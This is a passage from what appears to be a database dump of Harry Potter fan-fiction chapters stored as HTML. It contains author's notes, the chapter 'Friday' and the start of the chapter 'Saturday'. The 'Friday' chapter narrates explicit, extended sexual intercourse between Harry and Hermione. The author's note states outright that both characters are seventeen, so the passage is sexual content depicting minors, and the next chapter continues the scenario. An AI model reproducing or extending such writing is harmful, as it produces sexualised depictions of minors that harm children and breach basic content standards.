had hoped to write, complete, and post the final chapters of this story before having to go out of town for the holidays. Unfortunately, this failed to happen due to academic responsibilities (Final Exams), and I left with my girlfriend and parents to North Carolina--three states away, and with little enough computer access to keep writing and posting--to spend the holidays with relatives. I returned just in time to prepare for the approaching semester (I\'m in college) and have since been preoccupied with adjusting to a new semester of classes and also with Grad school applications. This explains the circumstances but doesn\'t necessarily justify them. However, as this chapter is hopefully a sign of, things are simmering down a little and I will hopefully be able to complete the last two chapters of this story soon. Again, I sincerely apologize for the delay and want to express my complete gratitude and appreciation for all the accolades and praise, and especially suggestions that you have provided me. I only hope this chapter and the remainder of this tale lives up to your anticipation and expectations.</p>\n\n<p>Also, in response to a review: I was told that it seemed out of place that Ron was using Errol instead of Pig for his owl-mail, and the reviewer wondered if I had done it intentionally or not. My response is that it is a complete and utter mistake on my part. ;) I read the books about two years ago, and am just now starting to reread them. Right now, I\'m precisely on Book 2, chapter title: Aragog. So I haven\'t gotten to Pig yet, and have been kind of relying on the second movie for the owl name, which is also why I initially spelled Errol wrong-I had heard it, but couldn\'t remember reading it. I also more or less forgot about Hermione\'s cat Crookshanks, which is why I haven\'t mentioned him. Though that may be excusable because doesn\'t Crookshanks end up being an animorph? I can\'t remember. Oh well, I guess I\'ll find out when I hit book 3. Thank you all for your wonderful comments. I hope you enjoy the story despite my discrepancies.</p> '),
	(203, 7, '\n\n\n\n<title>Untitled Document</title>\n\n<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">\n\n\n\n<b>Chapter 7: Friday</b>\n\n<p><i>*Warning* This chapter contains graphic sexual content which justifies the otherwise curious R-rating I have given it. Do not read ahead if such explicit acts of love offend you.</i></p>\n\n<p>Warm. Warmth. Softeness. A thrilling hint of moisture. Harry stood, after the quick chill strike of adrenaline deep in his sides, after his brain went numb, with his arms wound around the sweet thinness of Hermione\'s back. Their lips were pressed together for what seemed a timeless moment of existence. Her fingers traced gently up his neck and through his unruly black hair, sending shocks through his shoulders. As the numbness faded slowly from Harry\'s mind, he found that his hands were automatically stroking Hermione\'s shoulders . . . and the kiss lingered. Her lips were so small and soft yet they covered his mouth perfectly, and with each tiny movement of those two petals against his, a deep and strengthening longing was forming were the electricity of their touch traveled through his core and nestled below his navel. Harry had kissed a girl once before-or rather was kissed-and though pleasant, he realized that this kiss had brought with it something more, a feeling new yet ancient that held the promise of secret knowledge and fulfilling desire.</p>\n\n<p>A part of that secret knowledge was forming into a tight ball in his lower stomach and arousing Harry so thoroughly that embarrassment clouded his mind for a moment as he concentrated with worry on their hips-an erection was blooming uncontrollably and threatening obvious discovery. Harry pulled away, the subtle stickiness of their lips as they parted exciting him even more. Their arms unraveled around from each other mechanically and he only now realized his eyes were closed-never did a sensation make the common darkness found behind his eyelids seem so bright with color. Hermione too had just opened her eyes, slowly, and with her lips just slightly parted. Her cheeks were flushed and she sighed deeply as full awareness struck her face.</p>\n\n<p>&quot;Harry&#8230;&quot;</p>\n\n<p>&quot;I\'m sorry&#8230;&quot; Harry said, flushing both with excitement and humiliation.</p>\n\n<p>&quot;What?&quot; Hermione replied, looking suddenly perplexed.</p>\n\n<p>Harry fumbled with his pants. His hands shot into his jean pockets and he tried to be as quick and nonchalant as possible as he rearranged his aching hardness to look less conspicuous. He was thankful that his shirt was at least untucked and acting as a visual blocker. </p>\n\n<p>Hermione looked down without a word, curious as to the source of Harry\'s frustration, then looked back up into his face, the ghost of a smile borne on her soft lips. She stood for a moment, considering, thinking, as Harry stopped messing with his pants. Then with a look of cool determination and control, a look Harry had seen countless times, Hermione walked around Harry toward her CD player, picked up a music CD Harry didn\'t recognize and placed it in her player. When she pressed play, soothing yet sensual music alive with violins and chantings resounded through her room. She adjusted the volume to a somewhat low, comfortable level and walked over to the edge of her bed where she sat down. She was smiling to herself.</p>\n\n<p>Hermione looked up at Harry, still smiling. With a determined look she said, &quot;Harry, I want you to give me a massage.&quot;</p>\n\n<p>&quot;What?&quot; said Harry, feeling suddenly disoriented.</p>\n\n<p>&quot;I want you to give me a massage,&quot; she repeated resolutely.</p>\n\n<p>&quot;What&#8230;what just happened?&quot;</p>\n\n<p>&quot;Come on, it\'s not hard.&quot; Hermione turned slightly and patted the spot of the comforter next to her. With her left eyebrow raise, she said &quot;I\'m sure you\'re very good.&quot;</p>\n\n<p>Harry sat down, suddenly trembling as his nerves gave out. What happened to the confidence that held him so securely only a few minutes before? They were kissing and tickling; now suddenly he felt very insecure. Hermione pulled the brown mass of her hair around to her front, exposing her thin shoulders clothed partially by her shirt. Harry sighed deeply, wondering what happened to himself and began rubbing along the gentle slope of Hermione\'s shoulders. His fingers slid down her back and rubbed in slow circles around her shoulder blades.</p>\n\n<p>Did she get embarrassed too? No, she seemed so calm and assured. She put on music. <br>\n Hermione gave sudden moans of approval as Harry\'s hands worked and the pulsing in his pants grew more frantic.</p>\n\n<p>&quot;A little softer,&quot; she said.</p>\n\n<p>&quot;S-sorry.&quot;</p>\n\n<p>&quot;It\'s okay. It feels really good,&quot; her sentence faded into a purr.</p>\n\n<p>Every now and then Harry would accidentally fumble with her shirt collar, pulling it down too much or bunching it up at the neck. His cheeks grew red with frustration whenever this happened, but Hermione never acted concerned. In fact, that constant smile of hers grew more pronounced as time passed and Harry\'s fingers faltered.</p>\n\n<p>Finally, Hermione spoke up. &quot;Here,&quot; she said as she reached for the hem of her shirt and quickly, deftly, brought her top over her head and off her body. &quot;This may make things easier.&quot;</p>\n\n<p>Harry paused. Now he was facing her otherwise naked back covered by the sharp white contrast of her bra strap.</p>\n\n<p>&quot;What\'s wrong,&quot; Hermione said, laughter playing at the back of her throat.</p>\n\n<p>&quot;Um . . . nothing,&quot; Harry said, exhilaration and fear building in his muscles.</p>\n\n<p>&quot;You\'ve seen me in my bikini. This isn\'t any different, right?&quot;</p>\n\n<p>&quot;Right,&quot; Harry said curtly and placed his palms back on her shoulders. But it was different. Though Hermione was still technically more clothed now in a bra and jeans, it somehow felt more intimate and private. Maybe the fact that they were on her bed was part of the reason, or that bras held a special taboo, being an undergarment and all. Harry didn\'t care to speculate on it much, he was too enraptured in the smooth touch of Hermione\'s back. The perfect symmetry of her figure made him ache as he pressed and squeezed at her muscles and shoulders. With every sound she emitted he found his lips straining to trace down the back of her neck. He controlled himself, but after a while he resorted to tracing invisible shapes lightly over her neck and back with his fingertips, and she grew all the more complimentary for that. Harry closed his eyes, focusing on the wonderful feel of her skin. On their own volition his fingers wound their way beneath her shoulder straps.</p>\n\n<p>&quot;They\'re in the way aren\'t they?&quot; Hermione suddenly said clearly.</p>\n\n<p>&quot;What?&quot; Harry opened his eyes, jarred from the touch and the sensual music flowing over him.</p>\n\n<p>My bra?&quot; She replied, a vague tremble in her voice.</p>\n\n<p>&quot;What?&quot; His mind went blank. What . . . ?</p>\n\n<p>&quot;Here . . .&quot; Hermione reached her hands around to her back, and with the deftness of someone accustomed to this action daily, she released the taught clip of her bra with a flick of her wrist. Harry watched transfixed, excited, afraid as she brought her arms forward and the straps floated down her arms, the bra soon off and discarded on the floor by her bed. He now starred at her bare back, completely aware of the equal bareness of her chest hiding just out of eyesight. </p>\n\n<p>Hermione turned her head to peer at Harry out of the corner of her eye, and said, &quot;There. Now there\'s nothing to fumble with.&quot; Her voice trembled slightly stronger now. &quot;No clothes anyway.&quot;</p>\n\n<p>&quot;Hermione . . .&quot; Harry could hardly even say her name. His chest was so tight with want he felt that he would burst. </p>\n\n<p>&quot;Actually,&quot; now she was whispering. &quot;I think I\'ve had enough massaging.&quot; </p>\n\n<p>Hermione turned around and faced Harry. Her cheeks and neck were flushed and her brow furled in worry. Harry looked her in the eyes, struggling desperately to keep from looking down, though he could still see the small red blurs of her nipples just on the edge of his peripheral vision. He was sweating now and his desire boiled in his belly. Hermione drew a deep breath and leaned forward, kissing Harry rough on the mouth, her jaw slightly shaking. Harry\'s brain went numb once more as his arms groped around Hermione\'s back to hold her. She was shaking, he needed to comfort her, hold her, keep her. Perhaps she was as scared as he?</p>\n\n<p>They kissed more passionately now, their lips widening and their breath mingling. Each press of her lips renewed the ache in his belly and sent shivers blazing down his spine and through his limbs. For a moment Harry thought he felt the fleeting wetness of her tongue graze against his, but that thought was lost when she swiftly brought her hand back to grab his wrist and placed his palm over her right breast. Both of them jolted where they sat. The shiver that had settled in Harry\'s back flared up again and he widened his eyes staring into Hermione\'s own. </p>\n\n<p>He broke away, breath growing ragged, and said &quot;Hermione . . .&quot;</p>\n\n<p>&quot;It\'s okay . . .&quot; she said, her own breath shortening.</p>\n\n<p>Their mouths closed around each other again, Harry\'s hand still cupping Hermione\'s breast. Harry\'s mind, far from numb now, was overactive. He was wholly focused on their maddening kissing, and feeling the knot in his chest pulling at the knot in his groin. Yet his hand was concentrating on the infinite softness of Hermione\'s breast. Her breast filled his hand wonderfully, not too big but enough to feel slightly weighty. A small squeeze and the skin gave so wonderfully beneath his fingers. His palm rubbed slowly over her thrilling slope while his fingers chanced to touch at her nipple, hardened and pebble-sized. He gave a gentle pinch and Hermione moaned, a deeper moan than when he massaged her. And the kissing continued, this time their tongues touched, exploring each other, and Harry was entranced by her exquisite, secret taste. </p>\n\n<p>Feeling a rush of boldness, Harry allowed his lips to creep from Hermione\'s mouth and down her chin. Showing that she was willing, Hermione tipped her head up, exposing her neck as he trailed along her throat. He felt the rumble of her moans beneath his lips and teasingly traced his tongue tip down over her collar. Almost imperceptibly, Hermione arched her back and leaned back farther, Harry moving with her until she was lying down on her bed and he was poised over her, his mouth still wandering down her chest. When he reached the plumpness of her breasts, he gave subtle suckles here and there, making a ring around her left nipple, not yet daring to touch its pink center.</p>\n\n<p>While his lips moved, Harry\'s hands massaged along Hermione\'s shoulders and down her arms, tickling at her sides and stroking her flat, jittering belly. When his lips closed in on her nipple and gently suckled, Hermione arched her back and squirmed, breathing heavily as her fingers wound their way through Harry\'s hair. As he kissed at her left breast his hand found her other and began massaging. Writhing and moaning, Hermione pulled at Harry\'s shirt, and with surprising force she tugged it up over his back and he lifted his head so she could strip it from him. </p>\n\n<p>The room was slightly cool, but his skin was hot and so was hers. Arms shifted and wandered, lips explored along necks and chests, kisses fluttered and wavered between them as they moved and shuffled on Hermione\'s bed. With a great shock, Hermione\'s hand pressed onto Harry\'s pants, cupping where he throbbed. They stopped. Hermione looked up into Harry\'s face, her hand still on him; both of them were panting and red. Harry stopped thinking. That ancient knowledge returned-something older than magic or science. Everything was new to him but he knew how to move, and so did Hermione. His awareness flitted in and out, as both of their jeans were suddenly on the floor, the comforter ruffled half off the bed.</p>\n\n<p>Harry was struck by Hermione\'s sheer beauty. Her figure lay in front of him, almost bare, and something greater than lust erupted within him. He could spend forever looking at her. Her body was perfect, she was perfect. He touched her again with his lips, this time on her knee, kissing slowly up her thigh, while his hand massaged along her other leg. Her hands pawed and scratched at his back and she continued to purr under his kisses and teasing licks. He loved the way she tasted, slightly salty with a deep and unknown spice. His erection still fighting against his boxers, Harry caressed her body with his own, and they moved closer to each other, the space between their hips closing. </p>\n\n<p>Their bodies pressed tightly together, Harry felt the heat of their waists. Their underwear acted as a thin veil keeping them from truly touching, but they could feel each other nonetheless. Hermione pressed him closer, her hands on his lower back, and began to slide. Jolt after jolt hit Harry\'s brain and he wrapped his arms under her as he began to rock. He began to lose himself in the feeling, the music still floating around them. He felt time waver, then she stopped. They looked into each other\'s eyes wordlessly. This wasn\'t stopping. This wasn\'t making out, or heavy petting, or fondling. Her fingertips rose to play with the hem of his boxers. She traced around to his belly and the tip of her finger passed over the head of his penis, making him jump. Still blushing, she smiled, and began to pull the last vestige of Harry\'s clothing down. Soon enough they both sat naked in front of each other, eyes furtively glancing at each other\'s body. Harry and Hermione both tried subtly to cover themselves, embarrassment written on their features. Feeling the inevitable, though, they lay open the mystery curled or nestled between their legs and gazed curiously and longingly at each other\'s body.</p>\n\n<p>Finally, it was Hermione who acted. She reached forward, placing her hand timidly, testingly, on Harry\'s hardness, clasping it gently. Harry gasped at the sheer bareness of her touch, foreign flesh on his most intimate of places. He felt himself throb again her warm palm and she looked at him, her bottom lip held under her teeth, promise brightening on her face. She tugged, just a little, pulling at him, beckoning him towards her.</p>\n\n<p>He stopped.</p>\n\n<p>&quot;Wait . . .&quot; Harry said.</p>\n\n<p>&quot;Shhh,&quot; she lisped.</p>\n\n<p>&quot;B-but . . . what if you get . . .&quot;</p>\n\n<p>&quot;It\'s okay,&quot; she whisper, her mouth now near his ear. &quot;I\'ve prepared for that.&quot;</p>\n\n<p>&quot;What . . . ?&quot; Puzzlement only surfaced for a moment in Harry\'s mind, as Hermione was still pulling him toward her, the ache and yearn strengthening as her legs rose around his. He lowered himself heedlessly over her and their lips met once more. His hands traveled thoughtlessly along her body, and as their hips came closer together his fingers grazed through the small, tight dark down of brown nestled over the mound waiting where her thighs met. And the lightening continued striking through Harry\'s body unabated.</p>\n\n<p>Amid the heated kissing and lip tugging, he felt the tip of his penis trace over her inner thigh, and finding the deep warm moistness there, he felt something ignite. She guided him lower, her thighs clasping him higher on his waist. When she placed him against a hot spot of giving flesh, she held his cheek in her other hand, looking into his eyes. Harry could lose himself in the black ocean of her pupils if he did not feel her pushing him still closer to her. He felt something hot, and then the point where they touched gave and he slide slowly, slowly, into a boiling tightness, surrounding the very point of his pleasure. Hermione\'s eyes were half-closed and her brow furrowed. Her lips parted and she gave a barely audible yelp-whether of pleasure or pain, Harry couldn\'t tell. Though the pace was maddening, he did not want to hurt her, so he focused on the burning sensation of such secret skin touch, sliding. Her fingers squeezed and scratched at his shoulders and her eyes widened as he continued to enter her.</p>\n\n<p>Then they locked, and the fire burst out. Everything stopped. They were as close as humanly possible and he felt the deepest part of her, a heat so burning it amazed Harry that it didn\'t hurt. She tightened her legs around him and he strengthened his hold around her back. Then they kissed. Harry could no longer tell where he ended and she began, for this moment they were one. Never had a sensation been so colorful and loud. They held on tightly to each other, trembling with a pleasure ready to consume them both.</p>\n\n<p>He pulled out slightly, feeling the wetness against him, the fire spreading as they both gasped. He wanted to ask her if she were okay, but her response was answer enough. She pulled him back to her with her arms still clinging to his shoulders, nails still digging into his back. And the source of the fire burst forth again, the knot wrenching in his groin as he thrust into her again, this time slightly faster. Harry felt himself contract, his being was shrinking into the sensation at their core and he was growing numb to the tightened muscles and movements of his arms and legs.</p>\n\n<p>Hermione moaned more frequently now, her pitch becoming higher, her breathing more fevered. With that ancient knowledge, Harry pulled and thrust again, sending an explosion coursing through them with each push. They were melting together, their ecstasy rising like steam from their moving bodies and their lips pressed firmly together, their bodies connecting fully. Moving, shaking, riding together, their hips gyrating together, they kissed and licked and longed and forgot the world. Fire blazed through their necks, wracking their brains with pleasure, losing themselves in it, becoming part of it. A tide of feeling and awe and rising, rising, and falling, they moved and thrust and ached, ached they pushed into each other. Harry kissed Hermione\'s neck and exquisite pleasure rose from her mouth in sound and steam as he pushed into her faster, faster, picking up speed, bucking and jumping, their hips crashing, ebbing and flowing like the tide, the feeling breaking onto the shores of their selves, eroding more and more the barriers that separate them. </p>\n\n<p>Fevered, feverish thrusting, pumping, losing, gaining, gaining greater speed, moaning, yelling, screaming out into the forgotten world, into the unseen void, their boiling, rising greatness. Hearts pounding, bodies pounding into themselves, the racking pulsing beat of their love, lovemaking unbelievable sensation of themselves, giving, giving of themselves. Reaching, reaching for it, building, falling, falling away, almost there. Grinding, pushing pulling legs arms jumbled into hot, wet flesh, hair flinging sweaty, mouths clinging tongues churning, yes. Oh, yes, almost there. Screaming, screaming, taste of a neck, scent of their heat, yes. Lost in it all, consuming, burning, hot, hot, yes. There, almost, there, feeling muscles contract, squeezing, licking flames, rise rise, rise!</p>\n\n<p>&quot;Oh . . . Oh God! . . . OHH!&quot; Hermione screamed out. Her pleasure reaching crescendo as it reverberated off her bedroom walls. Wave after wave struck, relentless striking. Her back arching, trembling, legs shaking. A blast of blazing hot ecstasy thrashing through her belly, her neck, wracking her mind. The feeling of it. Oh, the feeling of it so overwhelming, so good, so good. Oh God. It\'s coming. It\'s coming!</p>\n\n<p>Harry felt, he felt her, felt her mind wrapped in pleasure, felt her inner body bucking wildly, he felt them. Then a ball of lava starting at his neck rolled down his shoulders, turned toward his stomach, built up greatly low in his groin and all his muscles contracted as tendrils of feeling pulled into him. He pushed forward with one great leap and felt her tighten around him over and over, her body jumping and throbbing with orgasm after bright orgasm. The lava pumped through him and he felt an amazing push as he released his boiling liquid into her, their hips crushed together.</p>\n\n<p>The world melted. They melted. Lost from everything. Lost. . .</p>\n\n<p> . . . . . . . . . . who . . . where are they? They? Hair. Hair in the face. Breathing. Panting. The bedroom light. Soft music. Oh . . . my . . . God.</p>\n\n<p>They were still for a long time, their bodies trembling. Then Harry began to become aware again. He was back in Hermione\'s room, they always were. The overhead lamp light had always been on, the CD playing its sensual music, the night still existed outside her bedroom window. Harry was Harry, he remembered himself once more. And he suddenly felt completely solid inside his body and self. His muscles ached with exhaustion, his abs burned, though no longer out of pleasure. His skin was coated with sticky sweat and his hair felt greasy. He was still panting wildly, as was Hermione who also felt wet all over, the brown tresses of her hair were darker now from their mingled sweat. And she was cooing.</p>\n\n<p>&quot;H-hermione,&quot; Harry finally said through wheezing breath. &quot;Are you . . . okay . . . ?&quot;</p>\n\n<p>She didn\'t speak for a while, she was still rasping. &quot;. . . yes. Harry, yes.&quot; She opened her eyes.</p>\n\n<p>He pulled himself upward, peeling his skin from hers. Their hard breathing was slowing now. He could still feel the formless heat resting where their hips were melded. Its power had receded.</p>\n\n<p>&quot;That . . . w-was amazing,&quot; Harry said.</p>\n\n<p>&quot;Beyond . . . amazing,&quot; Hermione corrected, a giggle escaping her throat.</p>\n\n<p>Calling their lovemaking a miracle would not have been justified-it was stronger than that-though looking around now Harry realized that the CD player was on its back, the books that were so ordered and properly stacked along the edge of the carpet had toppled back against the wall, a disheveled pile, and her closet doors had swung open. Her room looked like something powerful had blast out at it. When did this happen?</p>\n\n<p>Though Harry didn\'t care. Looking back at Hermione, he was enraptured by her. A fire still burned deep in his chest, one that, far from diminishing, had burst forth brighter. He would do anything for her, do anything to keep her safe.</p>\n\n<p>&quot;Hermione . . .&quot; he began.</p>\n\n<p>&quot;We better get cleaned up,&quot; she spoke suddenly, laughing, her voice sounding normal now. &quot;These sheets will need to be washed, and so will we.&quot;</p>\n\n<p>Harry pulled out unceremoniously, feeling the slickness that had been burning heat moments before. They unclenched their legs from each other and, naked and sweaty, hair going in all directions, they stood up off the bed on their weak, wobbly legs. Acting surprisingly normal, Hermione pulled the sheets and comforter, wet from their lovemaking, off her bed. When they walked out into the hall, Hermione pointed Harry to the master bedroom.</p>\n\n<p>&quot;Wait there,&quot; she said, then walked down to put the sheets in the laundry. He missed her presence for that intermittence. He always felt like laughing in her company now. When she came back, she guided them into the large walk-in shower at the other end of the master bedroom. Under the soon hot water, they washed each other, growing familiar and comfortable with their nakedness with each passing moment. The steaming water cascaded through their messed hair and over their bodies, cleansing them of their exertion. They rub and caressed, soaped and lathered, massaged and teased, shoulders, breasts, bellies, legs, their most tender parts.</p>\n\n<p>When Hermione reached again for Harry\'s sex he found himself growing hard once more. She stroked him, and the well-known thrill returned, the flame ignited. Harry wanted her again, against the wall of the shower, but he stopped.</p>\n\n<p>&quot;Wait . . .&quot; he said. &quot;Why aren\'t you worried? What if you get pregnant?&quot;</p>\n\n<p>Hermione smiled and giggled. &quot;Silly, aren\'t I always prepared? I have my books and potion supplies with me here. I can simply create a \'morning-after potion.\' It will keep me from getting pregnant.&quot;</p>\n\n<p>Harry was stunned by her resourcefulness. She never ceased to impress him. &quot;How long have you been considering this?&quot; Harry asked, mirth bubbling in his throat.</p>\n\n<p>&quot;On and off over the past few days. When I heard that my grandfather would be alright, that made me all the happier and I wanted to focus strictly on us. I wanted us to escape from the stress in both our lives.&quot;</p>\n\n<p>Harry smirked. &quot;I think you succeeded.&quot;</p>\n\n<p>He nuzzled her neck with his nose as the spray of the shower warmed their bodies, and they pressed together once more, aroused and consumed with love and lust intermingled. She straddled him, her back against the cool tile of the shower wall, and when Harry entered her this second time, that blast of fire struck comfortably between. She rode and he thrust, and the steam of the shower was soon lost among the steam from their bodies. Her moans and yells echoed off the corners of the shower, sounding louder, rising higher. Harry felt the intense pleasure plateau, felt like he could go much longer, having spent his initial desire earlier. Harry felt, though, as if Hermione was rising to crescendo quicker, still excited by their first encounter, the jagged sparks of pleasure seized her stomach and her legs, making her toes curl.</p>\n\n<p>The shower water was cold by the time their pleasure was spent, but they didn\'t care, their bodies kept them supremely warm and pulsing. They exited the shower and dried off with the same big russet-colored towel. Kissing, stroking, Harry couldn\'t keep his hands off her body, he never felt so alive, he never wanted to stop touching her. And he suspected with a sense of surprise that he penetrated her mind whenever he penetrated her body, experiencing her pleasure with her. He discovered this truth more and more as they made love on Hermione\'s bed again, fondled and licked, exploring each other in the living room next, the dining room, the kitchen. The world was lost to their swooning pleasures and spontaneous orgasms. They experimented inside the pool and on the pool deck, cushioned by several swimming towels.</p>\n\n<p>By the time their desires were completely sated, the sun had already risen and their exhausted bodies now ached for sleep. They stumbled panting into Hermione\'s room, pulled up the disheveled covers, and cuddled together amid the shapeless sea of sheets. Holding her tightly, closely, smelling her sweet-scented hair and feeling her warmth cascade along his body, Harry thought over and over again how much he loved her. He whispered this truth sleepily into her ear and felt her smile against his chest.</p>\n\n<p>&quot;I love you too, Harry,&quot; Hermione said, before the pleasant oblivion of sleep found him, filling his contented mind with beautiful images of her, of them, together. There was nothing else but them. Concerns with Hogwarts, with Ron, with Voldemort were countless years away. It was all just . . . them.</p>\n\n<hr>\n\n<p>Author\'s Note: It seems that I am beyond reproach for the excessive amount of time I have keep you readers waiting in updating my story. I do apologize for this, truly I do. Unfortunately, I began this story in the midst of academic strife, which continues unabated and has strengthened. The first four months of the year were consumed by my final semester of college; classes mixed with preparing for graduation and applying to Graduate school allowed for very little free time. Once I graduated in May, I had to start packing up my apartment while preparing to move temporarily to Virginia. I am currently at the University of Virginia struggling through an intense two-month Tibetan Language program before I began working towards a Master\'s Degree in Tibetan and Buddhist Studies. However, these are not real excuses; I should have at least informed viewers of my situation and I apologize for keeping everyone in the dark for so many months. I must confess that a hectic half-year was not the only deterrent to my writing; I lacked the muse as well. However, a three-day weekend has found me, and freshly inspired I have finally completed this seventh chapter. The arrival of &quot;The Order of the Phoenix&quot; has inspired the muse once more and I have this to prove it. We\'ll see how next weekend fairs for my possibly writing the eight and final chapter. I can only hope to make up for my long hiatus by making this chapter slightly longer than average. As you have no doubt discovered, everything that has taken place in the previous chapters culminates in this one. I am partially concerned as to how graphic this piece is. I\'m not certain that fanfiction.net will allow this chapter to be posted since it borders on NC-17, but I\'ll attempt it. If anything I have other venues that I can post to and inform readers of. We\'ll see how things go over the next few days. Again, I apologize for my irresponsibility and I thank those of you for your immense patience and those of you for expressing your dismay and concern. With any luck I\'ll have this story completed soon, and I may very well start on another one-though I\'ll strive to be more punctual with it. Thank you all again for your interest and support.</p>\n\n<p>P.S. To respond to one reviewer\'s query, I can no longer remember if I made this explicit in an earlier chapter, but the events of this story take place the summer before Harry and Hermione\'s seventh year at Hogwarts, they are seventeen years old.</p> '),
	(203, 8, ' <br>\n\n\n<p>\n\n</p><p> Chapter 8: Saturday </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &#8220;Sweetie, we\'re home!&#8221; Harry heard the strong, deep voice of Hermione\'s father. &#8220;Honey?&#8221; </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &#8220;Hermione, are you awake dear?&#8221; her mother chimed in. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> Harry had just enough time to register that he was lying next to Hermione in her bed, both naked and barely covered by the disarray of her bed sheets, when panic filled him. He jolted out of bed, startling Hermione awake. Standing naked he scanned the floor for his clothes. He found them cluttered along the edge of the carpet amid the crash of books and trinkets still dashed against the wall from the mysterious burst they must have emitted the day before. Already the sound of shoes clopping down the hallway could be heard and Hermione scrambled for her own discarded garments. Neither of them had time to put on anything before a tall figure loomed in the doorway. Hermione\'s father looked at the rawness of what stood before him. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p>\n\n<i>Her</i><i> mother followed quickly on his heals and let out a scream of shock and no doubt dismay when she registered the scene.</i><i> &#8220;</i><i>Oh </i><i>My Gooooood!&#8221;</i>\n\n</p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> Harry didn\'t shoot up in bed, but his eyes split open and his heart was racing. He was beginning to really hate dreams like that. He was lying in bed with Hermione still asleep and wrapped around his right side. She was breathing steadily, softly. They were both still naked and barely covered by the disarray of her bed sheets. The room was dark but sunlight filtered in through Hermione\'s window blinds. Goodness knows how many hours they slept. They must have finally passed out from the exhaustion of constant, wonderful sex sometime in the middle of yesterday. Somehow, Harry was pretty sure it was Saturday now, sometime in the morning, and he moved his body gently to search out Hermione\'s alarm clock. He spotted it still overturned on Hermione\'s nightstand and crammed against the wall corner with her lamp and some framed photographs, all gathered and bunched together. Trying not to wake her, Harry slowly rose and stretched to reach it. When he did, and saw that it was indeed a little after seven in the morning--they must have slept something like sixteen hours!--, Hermione began to stir. It wasn\'t long before her eyelids parted and fluttered open, showing the beautiful liquid crystal consciousness of her eyes beneath. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> A smile spread on her cheeks, now pale from sleep, &#8220;Morning, sexy.&#8221; </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> The way she said it made Harry grin, and made his heart skip a little. It was so adult, so familiar now. They were so comfortable with each other in a deep way Harry never fathomed was possible. He leaned down to kiss her quickly but with care and feeling, and absently stroked her shoulder and stray tresses of her hair. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> He pulled back, smiling openly to her, &#8220;Morning yourself, beautiful. Cor, I\'m thirsty!&#8221; </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &#8220;Me too!&#8221; Hermione nodded sleepily then yawned. &#8220;We had quite a work out yesterday!&#8221; </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> Harry kissed her again, he couldn\'t stop doing it! &#8220;Care for a repeat performance? Once we drink a gallon of water first, of course.&#8221; </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> Hermione grinned devilishly and a deep, throaty laugh escaped her throat. But before she could answer, the sound of a car engine was rising up the street and came to a quick humming stall most definitely in the Granger driveway. The two looked at each other wide-eyed. If Harry\'s dream was a possible premonition, it was a thankful one. They burst off from the bed and gathered their respective garments before Harry ran naked out of Hermione\'s room. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> Hermione followed shortly after. &#8220;I\'ll run into their bathroom, you run into the hall bathroom! Start the shower and everything will look normal! I hope.&#8221; </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> Harry nodded wordlessly, and as he made it into the hall bathroom he heard the clanky key-in-lock sound and closed and locked the bathroom door. He turned the shower on just as he heard the front door open. Thankfully, he was now hidden by the timeless anonymity and privacy of the loud shower spray. Harry relaxed and placed his clothes on the laundry basket by the toilet before stepping into the shower and cleaning himself in earnest. While he washed his body, Harry went through the previous day and checked off any possible signs of suggestion they may have left behind in the house and was pretty sure they took care and cleaned up after themselves. He reminisced pleasantly at their frantic day-long lovemaking, remembering every detail to further impress it all into his mind. He entertained a moment of panic at the blasted mess in Hermione\'s room, but felt that they could sufficiently chalk it up to Harry\'s weird and spontaneous emotionally-triggered magical outbursts. In a way, that\'s probably what it was. He marveled over the previous day and got lost again in the pleasant and unique memories of the excitement they felt when they fell into each other. When he started contemplating again how he seemed to have felt Hermione when she climaxed, how he found himself in her head at those moments, Harry was pretty certain it happened to Hermione too. No doubt she fell into his head as well, the connection was just that close, and he would be sure to ask her about it when next they had a private moment. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> As he was finishing up, Harry spent the last moments of his shower calming his mind. When he got out of the shower and toweled himself dry, he worked on putting on a veneer of genial humor and simple surprise. Once he was dry and dressed he did what he could with the black mess of his hair--as always--and stepped outside the still steamy bathroom. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> When he walked out into the hallway and shortly through the kitchen threshold, he was greeted by three smiling faces, two adults and one Hermione. Hermione obviously finished her shower first and was dressed comfortably with her hair still wet. They all three were sitting placidly at the kitchen table, chatting idly. Harry greeted them with a genuine smile. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &#8220;Morning!&#8221; he said. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &#8220;Morning!&#8221; All three returned. When Hermione\'s parents were looking right at Harry, Hermione snuck a wink at him, which he wished he could have returned inconspicuously. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &#8220;Sleep well, Harry?&#8221; Mr. Granger asked cheerfully. &#8220;You two are up awfully early.&#8221; </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &#8220;Yes,&#8221; Mrs. Granger spoke up. &#8220;We were hoping to sneak in and catch a few winks of sleep, but both of you were in the shower when we got in. Come join us. Now you kids didn\'t do anything you weren\'t supposed to do while we were gone, did you?&#8221; She grinned. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> Harry and Hermione both laughed a little too loudly. &#8220;Oh, Mother, please. What kind of irresponsible teenagers do you take us for?&#8221; </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> Harry grabbed a seat next to Hermione, who spoke again to swiftly change the subject. &#8220;I was just telling Mum and Dad about our rather harrowing week. About Ron\'s safety and Voldemort. They were telling me about Grandfather\'s improved condition. 